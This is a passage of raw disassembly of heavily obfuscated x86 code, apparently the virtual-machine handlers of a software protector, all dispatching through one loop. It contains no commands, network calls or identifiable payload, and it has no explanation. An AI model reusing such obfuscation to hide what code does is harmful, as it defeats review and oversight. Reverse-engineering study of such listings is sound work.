al, dl pop edx pop dx sub al, 61h add al, dh add al, 61h sub al, 92h pop edx push 6BDh mov [esp+82h+var_84+2], ecx mov ecx, esp add ecx, 4 sub ecx, 2 xor ecx, [esp+82h+var_84+2] xor [esp+82h+var_84+2], ecx xor ecx, [esp+82h+var_84+2] pop esp mov word ptr [esp+7Eh+var_80+2], cx mov cl, 0Ah jmp loc_582496 ; --------------------------------------------------------------------------- loc_58AB24: ; CODE XREF: sub_57DD3A+B5EBj mov word ptr [esp+0C2h+var_C4+2], ax jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58AB2D: ; CODE XREF: sub_57DD3A+D738j mov [esp+0C2h+var_C4+2], ebx push ebp push 2F917E3Dh pop ebp xor ebp, ebx xor ebx, ebp xor ebp, ebx dec ebx xchg ebx, ebp jmp loc_58C6E8 ; --------------------------------------------------------------------------- loc_58AB45: ; CODE XREF: sub_57DD3A+729Cj push esp jmp loc_58BAA7 ; --------------------------------------------------------------------------- loc_58AB4B: ; CODE XREF: sub_57DD3A+8889j push 95Dh jmp loc_588607 ; --------------------------------------------------------------------------- loc_58AB55: ; CODE XREF: sub_57DD3A+53D2j and eax, 49762264h add eax, 96E3A57h add eax, 0FED518E1h jmp loc_58BC58 ; --------------------------------------------------------------------------- loc_58AB69: ; CODE XREF: sub_57DD3A+7C51j shl eax, 2 jmp loc_585890 ; --------------------------------------------------------------------------- loc_58AB71: ; CODE XREF: sub_57DD3A+D883j or edx, ebx pop ebx sub edx, 0DEF6F7CDh jmp loc_589B6F ; --------------------------------------------------------------------------- loc_58AB7F: ; CODE XREF: sub_57DD3A+4BB7j pop ecx dec ebp dec ebp dec ebp jmp loc_582B7D ; --------------------------------------------------------------------------- loc_58AB88: ; CODE XREF: sub_57DD3A+B9C0j mov [esp+9Ch+var_9C], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_58A8C0 ; --------------------------------------------------------------------------- loc_58AB9B: ; CODE XREF: sub_57DD3A+4CD2j shl esi, 2 add esi, 84CCF7FBh add ebx, 61DD5D7Dh jmp loc_58A67F ; --------------------------------------------------------------------------- loc_58ABAF: ; CODE XREF: sub_57DD3A+8D4Cj sub esp, 4 mov [esp+62h+var_64+2], ebx push ecx mov cl, ah mov bl, cl jmp loc_58D815 ; --------------------------------------------------------------------------- loc_58ABBF: ; CODE XREF: sub_57DD3A+5282j push 3A10h mov [esp+78h+var_78], edx push ebx mov ebx, 4664165h push 4E6Bh jmp loc_587ACE ; --------------------------------------------------------------------------- loc_58ABD7: ; CODE XREF: sub_57DD3A+3C16j sub edx, 4A8E4834h sub edx, edi add edx, 4A8E4834h pop edi shl edx, 2 shr edx, 1 neg edx add edx, 0C3A32E2Bh sub eax, edx push [esp+4Eh+var_50+2] jmp loc_583B08 ; --------------------------------------------------------------------------- loc_58ABFD: ; CODE XREF: sub_57DD3A+D39Cj mov esp, [esp+52h+var_54+2] imul cx, ax push cx pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58AC0C: ; CODE XREF: sub_57DD3A+9D9Ej pop eax add edx, ecx pop ecx push edi mov edi, 11D87463h add edi, 163CF177h jmp loc_58BDE9 ; --------------------------------------------------------------------------- loc_58AC21: ; CODE XREF: sub_57DD3A+3D9Ej mov bh, 0DBh add bh, dh pop edx shl bh, 7 inc bh xor bh, 0B8h push edx mov dh, 0E9h jmp loc_58C440 ; --------------------------------------------------------------------------- loc_58AC36: ; CODE XREF: sub_57DD3A+FBB8j sub al, ch add al, 9Eh pop ecx sub esp, 4 mov [esp+6Ah+var_6C+2], edx mov dl, 5Bh shl dl, 1 or dl, 98h neg dl jmp loc_582A88 ; --------------------------------------------------------------------------- loc_58AC4F: ; CODE XREF: sub_57DD3A+EC7Aj pop ebx push eax mov eax, 4 add edi, eax jmp loc_58B351 ; --------------------------------------------------------------------------- loc_58AC5D: ; CODE XREF: sub_57DD3A+A3E6j mov ebp, [esp+94h+var_94] add esp, 4 add esp, 4 push edx mov edx, esp add edx, 4 push esi jmp loc_58DDDD ; --------------------------------------------------------------------------- loc_58AC78: ; CODE XREF: sub_57DD3A+7098j add ebp, 4783616Eh pop ebx sub eax, 57D4188Dh add eax, ebp add eax, 57D4188Dh pop ebp add eax, 604D23E7h add eax, ebx jmp loc_5844D9 ; --------------------------------------------------------------------------- loc_58AC98: ; CODE XREF: sub_57DD3A+8059j pop edi xchg ecx, [esp+58h+var_58] mov esp, [esp+58h+var_58] xor [esp+58h+var_58], eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58ACA8: ; CODE XREF: sub_57DD3A+6D53j push esi push esp pop esi push edx mov edx, 4 add esi, 2A6602D2h add esi, edx sub esi, 2A6602D2h push [esp+76h+var_78+2] pop edx push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_5841A2 ; --------------------------------------------------------------------------- loc_58ACD4: ; CODE XREF: sub_57DD3A+BE5Bj push 1B43h jmp loc_5852E5 ; --------------------------------------------------------------------------- loc_58ACDE: ; CODE XREF: sub_57DD3A+DCADj mov ebp, 7B28157Fh jmp loc_58519C ; --------------------------------------------------------------------------- loc_58ACE8: ; CODE XREF: sub_57DD3A+6FEFj inc eax add eax, 42A42A20h sub edx, eax pop eax xor edx, 3628746Fh add edx, 8701B9BCh or edi, edx pop edx not edi inc edi push ecx jmp loc_5874BE ; --------------------------------------------------------------------------- loc_58AD09: ; CODE XREF: sub_57DD3A+7133j mov esi, 34158CF7h sub esi, edx mov edx, [esp+0C0h+var_C0] add esp, 4 add esi, 0E75DC92Fh and eax, esi mov esi, [esp+0BCh+var_BC] jmp loc_583F8B ; --------------------------------------------------------------------------- loc_58AD29: ; CODE XREF: sub_57DD3A+DFA0j add edi, 5D4A7285h jmp loc_58C96E ; --------------------------------------------------------------------------- loc_58AD34: ; CODE XREF: sub_57DD3A+A7C1j add edx, edi jmp loc_585870 ; --------------------------------------------------------------------------- loc_58AD3B: ; CODE XREF: sub_57DD3A+42BDj push ebx jmp loc_58D470 ; --------------------------------------------------------------------------- loc_58AD41: ; CODE XREF: sub_57DD3A+7983j sub esp, 4 jmp loc_58E018 ; --------------------------------------------------------------------------- loc_58AD49: ; CODE XREF: sub_57DD3A+63CBj not ah sub ah, 0BBh sub bh, ah pop eax xor ch, bh pop ebx inc ch add ch, 0D3h push edx mov dh, 1Eh sub dh, 0AEh shr dh, 5 push bx mov bh, 8Fh or dh, bh pop bx xor dh, 93h xor dh, 16h add al, dh pop edx add al, ch sub al, 0Ah jmp loc_589236 ; --------------------------------------------------------------------------- loc_58AD7C: ; CODE XREF: sub_57DD3A+ED9Aj add eax, 67A74C10h push ebp sub esp, 4 mov [esp+88h+var_88], esp add [esp+88h+var_88], 4 mov ebp, [esp+88h+var_88] add esp, 4 add ebp, 4 push edi jmp loc_58C7DD ; --------------------------------------------------------------------------- loc_58AD9E: ; CODE XREF: sub_57DD3A+EBD9j pop ebp jmp loc_58A56B ; --------------------------------------------------------------------------- loc_58ADA4: ; CODE XREF: sub_57DD3A+E28Ej xchg eax, [esp+84h+var_84] pop esp jmp loc_58551D ; --------------------------------------------------------------------------- loc_58ADAD: ; CODE XREF: sub_57DD3A+DF44j sub ecx, 2B5A712Bh add ecx, edx add ecx, 2B5A712Bh pop edx push 5434h mov [esp+80h+var_80], ecx push [esp+80h+var_7C] mov ecx, [esp+84h+var_84] jmp loc_585A93 ; --------------------------------------------------------------------------- loc_58ADD0: ; CODE XREF: sub_57DD3A+526Fj add esp, 4 xchg ecx, [esp+78h+var_78] mov esp, [esp+78h+var_78] jmp loc_589D2A ; --------------------------------------------------------------------------- loc_58ADDE: ; CODE XREF: sub_57DD3A+A69Bj sub cx, 69E8h sub esp, 2 jmp loc_585AAE ; --------------------------------------------------------------------------- loc_58ADEE: ; CODE XREF: sub_57DD3A+42F6j mov [esp+66h+var_68+2], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5865AB ; --------------------------------------------------------------------------- loc_58AE04: ; CODE XREF: sub_57DD3A+F8F6j push edx jmp loc_585B1E ; --------------------------------------------------------------------------- loc_58AE0A: ; CODE XREF: sub_57DD3A+D18Fj push 43DBh mov [esp+6Eh+var_70+2], esp jmp loc_58702E ; --------------------------------------------------------------------------- loc_58AE17: ; CODE XREF: sub_57DD3A+DD60j push [esp+6Eh+var_70+2] mov eax, [esp+72h+var_74+2] push edx jmp loc_58C2B0 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr [esp+74h+var_74], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58AE32: ; CODE XREF: sub_57DD3A+85A2j pop edx xor edx, 4C6F7818h push esi mov esi, edx jmp loc_58A06E ; --------------------------------------------------------------------------- loc_58AE41: ; CODE XREF: sub_57DD3A+5E20j not eax xor eax, 57AA1F6Dh jmp loc_589246 ; --------------------------------------------------------------------------- loc_58AE4D: ; CODE XREF: sub_57DD3A+5F17j push esp pop ebp sub esp, 4 mov [esp+82h+var_84+2], esi mov esi, 4 add ebp, esi push [esp+82h+var_84+2] jmp loc_58DBE7 ; --------------------------------------------------------------------------- loc_58AE67: ; CODE XREF: sub_57DD3A+5240j mov cx, word ptr [esp+80h+var_80] push edx push ebx jmp loc_587E44 ; --------------------------------------------------------------------------- loc_58AE72: ; CODE XREF: sub_57DD3A+75AEj mov edx, 4 push ecx mov ecx, 456A5989h sub edi, 72C12901h sub edi, 3DD14EEBh jmp loc_58C06D ; --------------------------------------------------------------------------- loc_58AE8E: ; CODE XREF: sub_57DD3A+FB1Bj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58AE93: ; CODE XREF: sub_57DD3A+BC31j mov [esp+7Ah+var_7C+2], eax mov eax, esp jmp loc_5843C1 ; --------------------------------------------------------------------------- loc_58AE9D: ; CODE XREF: sub_57DD3A+733Dj add eax, edx mov edx, [esp+7Ah+var_7C+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+7Eh+var_80+2] pop esp add eax, 4 jmp loc_584CA8 ; --------------------------------------------------------------------------- push [esp+7Ah+var_7C+2] pop eax sub esp, 4 mov [esp+7Eh+var_80+2], ebx jmp loc_58AE0A ; --------------------------------------------------------------------------- loc_58AECE: ; CODE XREF: sub_57DD3A+BAADj mov ecx, [esp+86h+var_88+2] add esp, 4 mov ecx, [esp+82h+var_84+2] add esp, 4 add ecx, 4 push edx jmp loc_587FE7 ; --------------------------------------------------------------------------- loc_58AEE6: ; CODE XREF: sub_57DD3A+8B4Ej push [esp+5Eh+var_60+2] jmp loc_583A1C ; --------------------------------------------------------------------------- xor [esp+62h+var_64+2], esi xor esi, [esp+62h+var_64+2] xor [esp+62h+var_64+2], esi sub esp, 4 jmp loc_589C78 ; --------------------------------------------------------------------------- loc_58AEFF: ; CODE XREF: sub_57DD3A+9A53j sub edi, 218015FCh add ecx, edi jmp loc_585EBA ; --------------------------------------------------------------------------- loc_58AF0C: ; CODE XREF: sub_57DD3A+8CD8j mov esi, edx sub esp, 4 jmp loc_5882E4 ; --------------------------------------------------------------------------- loc_58AF16: ; CODE XREF: sub_57DD3A+903Cj add esi, 4 xor esi, [esp+0D4h+var_D4] jmp loc_582774 ; --------------------------------------------------------------------------- loc_58AF24: ; CODE XREF: sub_57DD3A+5F43j xor ch, 3Ch sub dl, ch pop ecx jmp loc_58B4D4 ; --------------------------------------------------------------------------- loc_58AF2F: ; CODE XREF: sub_57DD3A+6D2Bj add esp, 4 jmp loc_58218A ; --------------------------------------------------------------------------- xor byte ptr [esp+90h+var_90], ah xor ah, byte ptr [esp+90h+var_90] xor byte ptr [esp+90h+var_90], ah sub esp, 2 mov word ptr [esp+94h+var_94], bx push edx jmp loc_582DFD ; --------------------------------------------------------------------------- loc_58AF4D: ; CODE XREF: sub_57DD3A+E0A3j add esi, 4 push ecx push edx mov edx, 2 push edx sub [esp+0A4h+var_A4], 7E5C583Dh mov ecx, [esp+0A4h+var_A4] add esp, 4 add ecx, 7E5C583Dh pop edx push ecx jmp loc_582C2E ; --------------------------------------------------------------------------- loc_58AF78: ; CODE XREF: sub_57DD3A+F3E8j mov edi, 4 jmp loc_58604E ; --------------------------------------------------------------------------- loc_58AF82: ; CODE XREF: sub_57DD3A+AAAFj add esp, 4 sub esp, 4 mov [esp+0A8h+var_A8], edx mov edx, 13960C8Bh neg edx jmp loc_58646A ; --------------------------------------------------------------------------- loc_58AF97: ; CODE XREF: sub_57DD3A+91ABj xchg eax, [esp+6Eh+var_70+2] jmp loc_587C2F ; --------------------------------------------------------------------------- loc_58AF9F: ; CODE XREF: sub_57DD3A+F0BCj mov eax, [esp+6Eh+var_70+2] push eax jmp loc_583BA1 ; --------------------------------------------------------------------------- loc_58AFA8: ; CODE XREF: sub_57DD3A+ECACj add ecx, ebx pop ebx add ebx, ecx pop ecx jmp loc_58D6BA ; --------------------------------------------------------------------------- loc_58AFB3: ; CODE XREF: sub_57DD3A+9D5Fj mov dl, 1Dh add al, dl jmp loc_583656 ; --------------------------------------------------------------------------- loc_58AFBC: ; CODE XREF: sub_57DD3A+88E8j shl byte ptr [esp+7Ch+var_7C], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58AFC5: ; CODE XREF: sub_57DD3A+9ED8j add ecx, 4 xchg ecx, [esp+68h+var_68] jmp loc_588FA2 ; --------------------------------------------------------------------------- loc_58AFD0: ; CODE XREF: sub_57DD3A+BB09j pop ebx add ecx, esi push [esp+7Eh+var_80+2] pop esi add esp, 4 push ebp mov ebp, 50376C2h push eax mov eax, 8B835C5h neg eax jmp loc_58D4F8 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+82h+var_84+2] push 10C7h mov [esp+86h+var_88+2], ecx jmp loc_58A417 ; --------------------------------------------------------------------------- loc_58B001: ; CODE XREF: sub_57DD3A+79B4j xor eax, [esp+0D4h+var_D4] jmp loc_586E13 ; --------------------------------------------------------------------------- loc_58B009: ; CODE XREF: sub_57DD3A+DFDBj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B00E: ; CODE XREF: sub_57DD3A+B366j mov ebp, esi jmp loc_58A47C ; --------------------------------------------------------------------------- loc_58B015: ; CODE XREF: sub_57DD3A+665Aj add esp, 4 push 586Fh mov [esp+9Ch+var_9C], edx mov edx, 2Ch add edx, edi jmp loc_58CEB2 ; --------------------------------------------------------------------------- loc_58B02F: ; CODE XREF: sub_57DD3A+6D44j push 878h mov [esp+76h+var_78+2], ecx push 5094h jmp loc_58694C ; --------------------------------------------------------------------------- loc_58B041: ; CODE XREF: sub_57DD3A+CDAFj xor [esp+88h+var_88], eax xor eax, [esp+88h+var_88] jmp loc_58A9CA ; --------------------------------------------------------------------------- loc_58B04C: ; CODE XREF: sub_57DD3A+8EE2j pop esi mov edx, esi pop esi pop edi or edx, 5EDD3124h dec edx neg edx sub edx, 2D497DC7h add eax, edx pop edx push ebp jmp loc_58BCDF ; --------------------------------------------------------------------------- loc_58B069: ; CODE XREF: sub_57DD3A+B7F2j mov esp, [esp+5Ch+var_5C] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B071: ; CODE XREF: sub_57DD3A+767Ej dec ebx jmp loc_5870CF ; --------------------------------------------------------------------------- loc_58B077: ; CODE XREF: sub_57DD3A+EE31j mov al, 0ABh xor bl, al pop eax not bl and bl, 0EEh add bl, 0AFh sub al, bl pop ebx sub al, 29h mov dx, word ptr [esp+0BCh+var_BC] push ebx jmp loc_588493 ; --------------------------------------------------------------------------- loc_58B093: ; CODE XREF: sub_57DD3A+6D18j push 0F255CB7h mov edi, [esp+94h+var_94] add esp, 4 push eax mov eax, 523C554Eh xor eax, 5F963966h sub eax, 1 xor eax, 47140277h neg eax add eax, 46904041h xor eax, 8D97D6E5h add edi, eax pop eax xor edi, 1AF5396h push 476h mov [esp+94h+var_94], esi jmp loc_589102 ; --------------------------------------------------------------------------- loc_58B0D3: ; CODE XREF: sub_57DD3A+F8E5j pop [esp+94h+var_94] jmp loc_58ABFD ; --------------------------------------------------------------------------- loc_58B0DB: ; CODE XREF: sub_57DD3A+E642j xor edi, 5EAA5182h xor edi, 71EDB086h add ebx, edi pop edi sub esp, 4 mov [esp+90h+var_90], ebx push [esp+90h+var_8C] pop ebx pop [esp+90h+var_90] jmp loc_58CBD9 ; --------------------------------------------------------------------------- loc_58B100: ; CODE XREF: sub_57DD3A+F4BEj add ebx, 4 jmp loc_58D71B ; --------------------------------------------------------------------------- loc_58B108: ; CODE XREF: sub_57DD3A+7FB3j mov [esp+68h+var_68], ecx mov ecx, 4 mov esi, ecx jmp loc_588EA7 ; --------------------------------------------------------------------------- loc_58B117: ; CODE XREF: sub_57DD3A+E1F8j pop edx xor ch, ah mov ax, word ptr [esp+64h+var_64] add esp, 2 xor al, ch pop ecx sub esp, 2 mov word ptr [esp+60h+var_60], bx push small 12Ah mov word ptr [esp+62h+var_64+2], ax push edx push ebx mov bh, 1Eh xor bh, 0AFh mov dl, bh pop ebx push ebx mov bl, dl mov ah, bl pop ebx pop edx jmp loc_5858E7 ; --------------------------------------------------------------------------- loc_58B14F: ; CODE XREF: sub_57DD3A+65D0j add esp, 4 push edx push [esp+98h+var_94] pop edx pop [esp+98h+var_98] pop esp cmp cl, al pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B164: ; CODE XREF: sub_57DD3A+C176j pop edx sub bh, 4 sub dl, bh pop ebx and dl, 0EFh push ecx jmp loc_58BDA9 ; --------------------------------------------------------------------------- loc_58B174: ; CODE XREF: sub_57DD3A+B4C0j shr ebp, 3 xor ebp, 8F5604Ah add ebx, ebp jmp loc_589AB9 ; --------------------------------------------------------------------------- loc_58B184: ; CODE XREF: sub_57DD3A+8DC3j push esp pop [esp+76h+var_78+2] jmp loc_588639 ; --------------------------------------------------------------------------- loc_58B18D: ; CODE XREF: sub_57DD3A+AB5Cj push eax mov eax, 70FA3BB6h not eax shl eax, 3 neg eax jmp loc_58DBD4 ; --------------------------------------------------------------------------- loc_58B19F: ; CODE XREF: sub_57DD3A+FB77j push ebx push ecx mov cl, dl mov bh, cl mov ecx, [esp+0A0h+var_A0] push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 jmp loc_589F16 ; --------------------------------------------------------------------------- loc_58B1BC: ; CODE XREF: sub_57DD3A+101A7j add [esp+0A8h+var_A0], ebx jmp loc_58B8B5 ; --------------------------------------------------------------------------- loc_58B1C5: ; CODE XREF: sub_57DD3A+B159j pop edx add al, bl jmp loc_58273E ; --------------------------------------------------------------------------- loc_58B1CD: ; CODE XREF: sub_57DD3A+5A66j dec eax push ebx mov ebx, 5140565Ch sub eax, ebx pop ebx xor eax, 34C8233Ah shl eax, 2 sub eax, 99E0EC6Fh xor ebp, eax pop eax jmp loc_582452 ; --------------------------------------------------------------------------- loc_58B1EC: ; CODE XREF: sub_57DD3A+A606j mov [esp+52h+var_54+2], edx push esp push [esp+56h+var_58+2] pop edx add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp+52h+var_54+2] pop esp shr eax, 0Ch xor eax, ecx push 1052h mov [esp+52h+var_54+2], eax push esi jmp loc_58581B ; --------------------------------------------------------------------------- loc_58B21A: ; CODE XREF: sub_57DD3A+7B6Fj push edx mov edx, 4 add eax, edx pop edx push ebx push esi jmp loc_5823F9 ; --------------------------------------------------------------------------- loc_58B22A: ; CODE XREF: sub_57DD3A+EA96j add edx, 230B5384h add edx, 12DA3138h mov ebx, [esp+0E4h+var_E4] add esp, 4 add edx, 588A7838h dec edx jmp loc_58B5B7 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb byte ptr [esp+0DEh+var_E0+2], al pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B25A: ; CODE XREF: sub_57DD3A+75A6j push [esp+72h+var_70+2] pop ecx pop [esp+72h+var_74+2] mov esp, [esp+6Eh+var_70+2] and eax, edx pop edx or edx, eax shl edx, 1 sub esp, 4 mov [esp+6Eh+var_70+2], eax push 1111h mov [esp+72h+var_74+2], ebp push eax push ebp mov ebp, 7CB0FFBh xor ebp, 67C22E9h shl ebp, 4 push edx mov edx, 0C760808h xor ebp, edx pop edx dec ebp sub ebp, 0D8D16D77h mov eax, ebp jmp loc_58CAF1 ; --------------------------------------------------------------------------- loc_58B2A4: ; CODE XREF: sub_57DD3A+9204j shr edx, 2 neg edx add edx, 3FDBE8Eh add eax, edx mov edx, [esp+82h+var_84+2] add esp, 4 add eax, 4 jmp loc_582B88 ; --------------------------------------------------------------------------- loc_58B2C1: ; CODE XREF: sub_57DD3A+F1F2j sub cl, 1 sub cl, 64h push eax push ebx mov bh, cl mov ah, bh pop ebx jmp loc_587F91 ; --------------------------------------------------------------------------- loc_58B2D3: ; CODE XREF: sub_57DD3A+F20Aj mov ebx, [esp+82h+var_84+2] add esp, 4 push esi jmp loc_58B684 ; --------------------------------------------------------------------------- loc_58B2DF: ; CODE XREF: sub_57DD3A+3C4Fj sub esi, 4B57269h add edx, esi pop esi add ebx, edx pop edx add edx, 377562ACh add edx, 7C5249A8h jmp loc_58B966 ; --------------------------------------------------------------------------- loc_58B2FC: ; CODE XREF: sub_57DD3A+9985j add esi, ebp pop ebp jmp loc_58921F ; --------------------------------------------------------------------------- loc_58B304: ; CODE XREF: sub_57DD3A+5891j add ebx, edx pop edx sub ebx, 69E239FFh sub ebx, 483F118Dh sub esp, 4 mov [esp+0C4h+var_C4], ebx push edx jmp loc_5884F3 ; --------------------------------------------------------------------------- loc_58B31F: ; CODE XREF: sub_57DD3A+E85Cj pop esi pop ebp jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B326: ; CODE XREF: sub_57DD3A+CC13j pop edi add esp, 4 and [edi+1Ch], ecx mov ecx, [esp+90h+var_90] add esp, 4 jmp loc_58669D ; --------------------------------------------------------------------------- loc_58B338: ; CODE XREF: sub_57DD3A+4CACj mov esp, [esp+68h+var_68] test cx, ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B344: ; CODE XREF: sub_57DD3A+817Bj pop ecx push ebp sub esp, 4 mov [esp+58h+var_58], esp jmp loc_583490 ; --------------------------------------------------------------------------- loc_58B351: ; CODE XREF: sub_57DD3A+CF1Ej pop eax xchg edi, [esp+66h+var_68+2] pop esp dec [esp+62h+var_64+2] pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B35F: ; CODE XREF: sub_57DD3A+F033j mov [esp+66h+var_68+2], eax mov eax, 1D4EF67Fh jmp loc_586EF2 ; --------------------------------------------------------------------------- loc_58B36C: ; CODE XREF: sub_57DD3A+E502j pop ebx mov ecx, [esp+62h+var_64+2] add esp, 4 inc al sub al, 0EEh sub bl, 2Eh add bl, al add bl, 2Eh mov eax, [esp+5Eh+var_60+2] add esp, 4 movzx eax, al push dword ptr [edi+eax*4] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B393: ; CODE XREF: sub_57DD3A+6555j push eax push [esp+8Eh+var_8C+2] pop eax pop [esp+8Eh+var_90+2] pop esp imul ecx, eax push ecx pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B3A7: ; CODE XREF: sub_57DD3A+9DB7j sub edx, ebx add edx, 5DB37C2Bh jmp loc_589427 ; --------------------------------------------------------------------------- loc_58B3B4: ; CODE XREF: sub_57DD3A+DD6Ej add ebx, 4 jmp loc_586A3A ; --------------------------------------------------------------------------- loc_58B3BF: ; CODE XREF: sub_57DD3A+9095j add ecx, 36F55AA3h pop esi jmp loc_5886C1 ; --------------------------------------------------------------------------- loc_58B3CB: ; CODE XREF: sub_57DD3A+4F3Fj push ebp push 14383865h pop ebp jmp loc_58706A ; --------------------------------------------------------------------------- loc_58B3D7: ; CODE XREF: sub_57DD3A+BAFCj push eax mov eax, 4 jmp loc_58366E ; --------------------------------------------------------------------------- loc_58B3E2: ; CODE XREF: sub_57DD3A+BCD9j sub esp, 4 jmp loc_5868AB ; --------------------------------------------------------------------------- loc_58B3EA: ; CODE XREF: sub_57DD3A+E00Bj mov edi, 2B35247Ah jmp loc_582EDB ; --------------------------------------------------------------------------- loc_58B3F4: ; CODE XREF: sub_57DD3A+5E04j mov word ptr [esp+7Eh+var_80+2], si push bp mov bp, 0D807h push bp add word ptr [esp+82h+var_84+2], 7240h pop si push dx push 522Ch mov [esp+86h+var_88+2], edi push small 3D36h pop di push ecx mov cx, 728Fh and cx, 7A2Eh xor cx, 44D7h add cx, 483Dh and di, cx pop ecx xor di, 4F56h mov dx, di pop edi jmp loc_58D70F ; --------------------------------------------------------------------------- loc_58B43E: ; CODE XREF: sub_57DD3A+4D71j shr edx, 3 push eax mov eax, 3BD2707Dh and edx, eax pop eax push edi push ebx mov ebx, 71412ECBh mov edi, 0F505527h jmp loc_5895EA ; --------------------------------------------------------------------------- loc_58B45B: ; CODE XREF: sub_57DD3A+6AE7j sub edx, ebp add edx, 11093CB4h pop ebp pop ebp mov eax, edx mov edx, [esp+7Ah+var_7C+2] add esp, 4 push 3E5Dh jmp loc_58AB2D ; --------------------------------------------------------------------------- loc_58B477: ; CODE XREF: sub_57DD3A+A2A8j pop ebp push esi mov esi, 4 jmp loc_58356F ; --------------------------------------------------------------------------- loc_58B483: ; CODE XREF: sub_57DD3A+A9FAj sub al, bh mov ebx, [esp+6Ah+var_6C+2] jmp loc_58A82C ; --------------------------------------------------------------------------- loc_58B48D: ; CODE XREF: sub_57DD3A+B0A1j push ecx mov ecx, edi jmp loc_58C083 ; --------------------------------------------------------------------------- loc_58B495: ; CODE XREF: sub_57DD3A+CCBDj add [esp+5Eh+var_60+2], 4 mov ecx, [esp+5Eh+var_60+2] jmp loc_589707 ; --------------------------------------------------------------------------- loc_58B4A1: ; CODE XREF: sub_57DD3A+66B5j or dh, 0BDh or dh, 0EEh dec dh sub dh, 89h and dh, 36h sub dh, 45h mov bl, dh pop edx shr bl, 1 shl bl, 5 or bl, 0FDh add bl, 0 add al, bl pop ebx add al, 67h sub al, dl sub al, 67h sub al, 0FDh pop edx sub esp, 2 jmp loc_582E9B ; --------------------------------------------------------------------------- loc_58B4D4: ; CODE XREF: sub_57DD3A+D1F0j pop ecx xor al, dl mov dx, word ptr [esp+7Ah+var_7C+2] add esp, 2 xor bl, al movzx eax, al jmp loc_587274 ; --------------------------------------------------------------------------- loc_58B4EB: ; CODE XREF: sub_57DD3A+6CACj add cl, dl pop edx xor cl, 8Bh sub cl, 60h or cl, 5Dh jmp loc_58D6FA ; --------------------------------------------------------------------------- mov cx, word ptr [esp+88h+var_88] push edi push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 sub ebx, ebp jmp loc_58CCBB ; --------------------------------------------------------------------------- loc_58B517: ; CODE XREF: sub_57DD3A+64A4j sub esi, 35161F08h mov edi, esi mov esi, [esp+90h+var_90] add esp, 4 shl edi, 3 sub edi, 424DEB7Bh add esi, 3E83409Ch sub esi, edi sub esi, 3E83409Ch mov edi, [esp+8Ch+var_8C] add esp, 4 push 0 jmp loc_5824AF ; --------------------------------------------------------------------------- loc_58B54C: ; CODE XREF: sub_57DD3A+5B8Ej push bx jmp loc_585FDE ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_58B9EC ; --------------------------------------------------------------------------- loc_58B55B: ; CODE XREF: sub_57DD3A+718Dj pop eax movzx eax, al mov dx, word ptr [esp+6Ah+var_6C+2] jmp loc_5839CA ; --------------------------------------------------------------------------- loc_58B568: ; CODE XREF: sub_57DD3A+9EF0j xor esi, 78ADB8A9h not esi sub esp, 4 mov [esp+7Ah+var_7C+2], edx jmp loc_58C637 ; --------------------------------------------------------------------------- loc_58B57B: ; CODE XREF: sub_57DD3A+B0F4j push ebp push [esp+6Eh+var_6C+2] mov ebp, [esp+72h+var_74+2] add esp, 4 pop [esp+6Eh+var_70+2] jmp loc_58C848 ; --------------------------------------------------------------------------- loc_58B58E: ; CODE XREF: sub_57DD3A+7FA9j add ebx, 36B2667Bh sub esp, 4 mov [esp+68h+var_68], esi mov esi, 41550CC4h push esi xchg edx, [esp+6Ch+var_6C] not edx jmp loc_586A6D ; --------------------------------------------------------------------------- loc_58B5AD: ; CODE XREF: sub_57DD3A+C311j push esi push [esp+9Ah+var_98+2] jmp loc_58405D ; --------------------------------------------------------------------------- loc_58B5B7: ; CODE XREF: sub_57DD3A+D50Cj push ebx mov ebx, 4C5677C6h jmp loc_58AB71 ; --------------------------------------------------------------------------- loc_58B5C2: ; CODE XREF: sub_57DD3A+101C8j push edx jmp loc_58479A ; --------------------------------------------------------------------------- loc_58B5C8: ; CODE XREF: sub_57DD3A+F812j add dh, 0BEh sub bl, 8Eh add bl, dh push eax mov ah, 64h add ah, 0C7h push ebx mov bh, 9 dec bh inc bh jmp loc_58B8BB ; --------------------------------------------------------------------------- loc_58B5E2: ; CODE XREF: sub_57DD3A+8A59j pop edi pop dword ptr [edi+20h] jmp loc_58CD26 ; --------------------------------------------------------------------------- loc_58B5EB: ; CODE XREF: sub_57DD3A+7D6Aj mov ebx, 7EEB11A8h push 0 push edx mov edx, 0B213DC8h jmp loc_58C79A ; --------------------------------------------------------------------------- loc_58B600: ; CODE XREF: sub_57DD3A+78DEj push eax mov eax, 4 add ecx, eax jmp loc_581EBA ; --------------------------------------------------------------------------- loc_58B60D: ; CODE XREF: sub_57DD3A+981Fj mov edi, edx jmp loc_583FE5 ; --------------------------------------------------------------------------- loc_58B614: ; CODE XREF: sub_57DD3A+F552j pop esp jmp loc_58BA7A ; --------------------------------------------------------------------------- loc_58B61A: ; CODE XREF: sub_57DD3A+D993j push ecx mov ecx, 14E59AEh sub esi, ecx mov ecx, [esp+86h+var_88+2] add esp, 4 add edi, esi pop esi push ebx mov ebx, 636F6844h sub edi, ebx pop ebx push edi pop dword ptr [edx+38h] pop edi loc_58B639: ; CODE XREF: 